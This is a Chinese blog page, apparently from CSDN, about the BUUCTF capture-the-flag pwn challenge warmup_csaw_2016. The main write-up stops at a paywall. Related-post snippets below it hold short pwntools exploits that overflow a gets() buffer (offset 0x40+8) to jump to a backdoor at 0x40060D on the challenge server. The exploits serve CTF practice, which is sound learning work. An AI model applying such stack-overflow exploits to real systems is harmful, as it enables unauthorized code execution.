BUUCTF|warmup_csaw_2016 1

最新推荐文章于 2025-10-07 18:13:52 发布
原创 最新推荐文章于 2025-10-07 18:13:52 发布 · 1.4k 阅读 · 0 ·
CC 4.0 BY-SA版权
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。

本文详细介绍了参加BUUCTF比赛时遇到的CSAW 2016 Warmup挑战的解决过程，包括关键思路、解题步骤和所涉及的网络安全知识。

在这里插入图片描述

在这里插入图片描述在这里插入图片描述

from pwn import *
context.log_level = 'debug'
io=remote('node3.buuoj.cn', "28247")
payload = "A"*
最低0.47元/天 解锁文章
buuctf|warmup_csaw_2016 1
m0_64236521的博客
04-15 1857
buuctf|warmup_csaw_2016 1 下载文件运行如下 checksec查看下保护 file一下，是64位文件 拉进ida，发现gets(v5),查看v5,明显的栈溢出 找到system，地址40060d 直接exp from pwn import* p=remote('node4.buuoj.cn',28415) payload=b'A'*0x48+p64(0x40060D) p.sendline(payload) p.interactive() 得flag ...
BUUCTF warmup_csaw_2016 1
qq_56313338的博客
09-10 438
简单的栈溢出
BUUCTF PWN warmup_csaw_2016 wp
AEJL叁的博客，欢迎关注！
09-11 175
经过在左侧 Function name 中对调用函数的依次查找分析，不难发现在 sub_40060D 这个函数中出现了 system 命令的使用，因此我们只要利用gets函数使 system("cat flag.txt");对于gets函数的参数v5，可以发现其地址偏移量为40h，即64位，而rbp提示文件适配64位环境，那么rbp本身占8位，则总偏移量为 64+8 位；同时，sub_40060D 也提示 system 命令地址为0x40060D（不放心的话可以跳转到 sub_40060D 本身进行查看）
[BUUCTF-PWN] warmup_csaw_2016
最新发布
weixin_44570459的博客
10-07 129
3、双击后通过ctrl+x交叉引用，定位这个敏感字符串在sub_40060D这个地址函数中被调用。4、进一步跟踪该地址函数，发现该函数为后门函数，通过系统调用读取flag.txt。1、发现存在gets函数，可导致栈溢出漏洞，其中v5长度为0x40。2、通过shitf+F12发现敏感字符串：cat flag.txt。
【BUUCTF】warmup_csaw_2016
2201_75556700的博客
11-29 672
4、这里有两个数组都是64字节，在sprintf这里，将sub_40060D函数的地址存放在s中。题目一：【BUUCTF】warmup_csaw_2016。3、使用ida64分析文件，找到main函数，F5反汇编。2、下载附件，在kali中分析，64位，小端存储。5、查看函数sub_40060D，地址。03、权限不够时，添加权限就可以。04、使用r命令运行程序。05、使用n命令单步调试。01、使用gdb工具。
BUUCTF PWN warmup_csaw_2016
Rt1Text的博客
04-22 493
1.checksec+运行 64位/没有保护 2.64位IDA进行 1.main 函数 明显的溢出函数gets() 跟进v5看看 offset = 0x40+8 shift+f12 真不错,cat flag.txt 找它的地址 3.上脚本 from pwn import* #p=process('./3warmup') p=remote("node4.buuoj.cn",28180) flag_addr=0x400611 payload=b'a'*(0...
BUUCTF刷题之路-warmup_csaw_20161
qq_30528603的博客
05-27 517
大概明确函数的执行流程。而且我们在主函数一眼就看到一个危险函数gets，大概率就是个栈溢出。然后我们又在IDA中发现有system和一个后门函数，那这题就非常简单，跟上一题是一个思路的。那我们就直接栈溢出覆盖返回地址到后门函数，这题就做完了。在主函数中我们看到v5变量离rbp距离是0x40h，因为是64位程序还得加8才到返回地址。这题原本昨天就打算发的，刚做完电脑死机了。
BUUCTF-warmup_csaw_2016
m0_64180167的博客
04-11 564
64位的linux文件。
BUUctf warmup_csaw_2016
A_fish_like_sing的博客
03-14 510
buu ctf pwn warmup_csaw_2016
【Pwn | CTF】BUUCTF warmup_csaw_2016
weixin_46301214的博客
02-04 546
天命：第二题pwn，这次知道了目标就是瞄准system函数，如果里面是 /bin/sh 之类的就是直接getshell，如果是普通命令的话，应该就是getflag了。点进去变量，然后这里开始我就不懂了，别人wp就说这里是40空间+8空间（8空间就是覆盖64位下rbp的长度）sub_40060D这个函数就是重点，点进去一看就是我们的目标system("cat flag.txt")那就要拿到两个东西：sub_40060D函数的入口地址 和 v5变量的缓冲区大小。条件一：获取sub_40060D函数入口地址。
BUUCTF PWN wp--warmup_csaw_2016
2302_81740139的博客
08-19 1354
这个数组在栈帧中的位置相对于基指针ebp是偏移量-40的地方（如果ebp指向栈帧的底部），这通常意味着它是函数中的一个局部变量。PIE（Position-Independent Executable）是一种安全特性，它使得程序的代码可以在内存中的任意位置加载，这样每次程序运行时地址空间布局都是随机的，增加了利用内存损坏漏洞的难度。在函数开始执行时，如果函数要使用某些寄存器，并且这些寄存器在调用者中之后还需要使用，那么这些寄存器的值需要在栈上保存，以便在函数返回前恢复。仅为个人理解，如有错误，请指正。
buuctf warmup_csaw_2016
yidalipao1的博客
09-03 707
buuctf pwn
[BUUCTF-pwn]——warmup_csaw_2016
Y_peak的博客
01-30 6002
BUUCTF——warmup_csaw_2016 题目地址：https://buuoj.cn/challenges 题目： 管他三七二十一，先将文件下载下来再说。老规矩，现在Linux上用checksec看看文件。64位，Stack、NX、PIE都没有开，应该是栈溢出的题。 赶快 go go go 去window 上用IDA反汇编看看，看到返回的是gets函数，一个典型的可以利用栈溢出覆盖的地方。其他没什么有用的信息。 按Shift + F12，看一下字符串。不看不知道一看有惊喜。cat flag.
warmup_csaw_2016 1
weixin_52034946的博客
01-13 973
先checksec 是64位,小端序 进入ida,查看字符串 有一个cat flag 的字符串,跟进去,是这个函数,也就是执行这个函数我们就可以得到flag 一如既往的来到了main 函数处, 也是看到了get函数,一般就是栈溢出了,v5的大小位0x40,再加上是64位,所以要输入0x40+8,来造成栈溢出 脚本 from pwn import* r=remote(‘node3.buuoj.cn’,28011) flag_addr = 0x40060D payload = ‘a’*(0x40+8)+p6
warmup_csaw_2016
weixin_56301399的博客
07-20 1667
做了几道入门的题，从原来的柔弱蚂蚁到现在稍稍强壮的蚂蚁，我决定实施菜狗子计划，让蚂蚁继续进化。题目中的思路很清晰，对于栈溢出，我们先判断是否有栈溢出的漏洞，之后去找系统调用的函数，然后查到他的地址，最后就是我们的代码构建了。偏移量的计算=（数组本身大小+对应位的偏移64位是ox8）然后加上我们系统调用函数的地址。...
buuctf 之warmup_csaw_2016
weixin_54452942的博客
03-25 653
发现了一个gets函数可以溢出，并且在上面的运行中，我们看到他输出了一个地址，在下面的sprintf函数中将一个函数的地址输出了，我们去看看这个函数是干什么的。一种是ida直接看（不一定准），40h是64字节，再加8字节的rbp就是ret的位置。这里的返回地址，也就是rbp下面的地址是df28，我们输入的‘aaaaa’在dee0。是一个没有保护机制的64位x86架构的小端可执行程序。断在main函数地址，或者调用gets函数的地址也行。减一下刚好和ida中的一样。两种方式获得填充数据大小。
BUUCTF warmup_csaw_2016
m0_54262894的博客
08-20 434
BUUCTF warmup_csaw_2016 下载文件，把它拖入虚拟机中先checksec一下 这是一个64位的文件，并且没有开启任何的保护 我们先运行一下试试 发现它给出了一个地址，我们先记下，可能会用到 放入64位IDA中查看一下他的代码 伪C代码↓ 汇编代码↓ 发现了一个函数sprintf，并且用%p的方式来输出，也就是输出地址 下面是我搜索到的信息 我们双击40060D看一下 再回过头来看代码 众所周知gets函.
[每日一PWN]BUUCTF warmup_csaw_2016
qq_55233040的博客
11-20 593
和第一题RIP一样，是经典而基础的ret2text。
评论 1
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
表情包 代码片
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值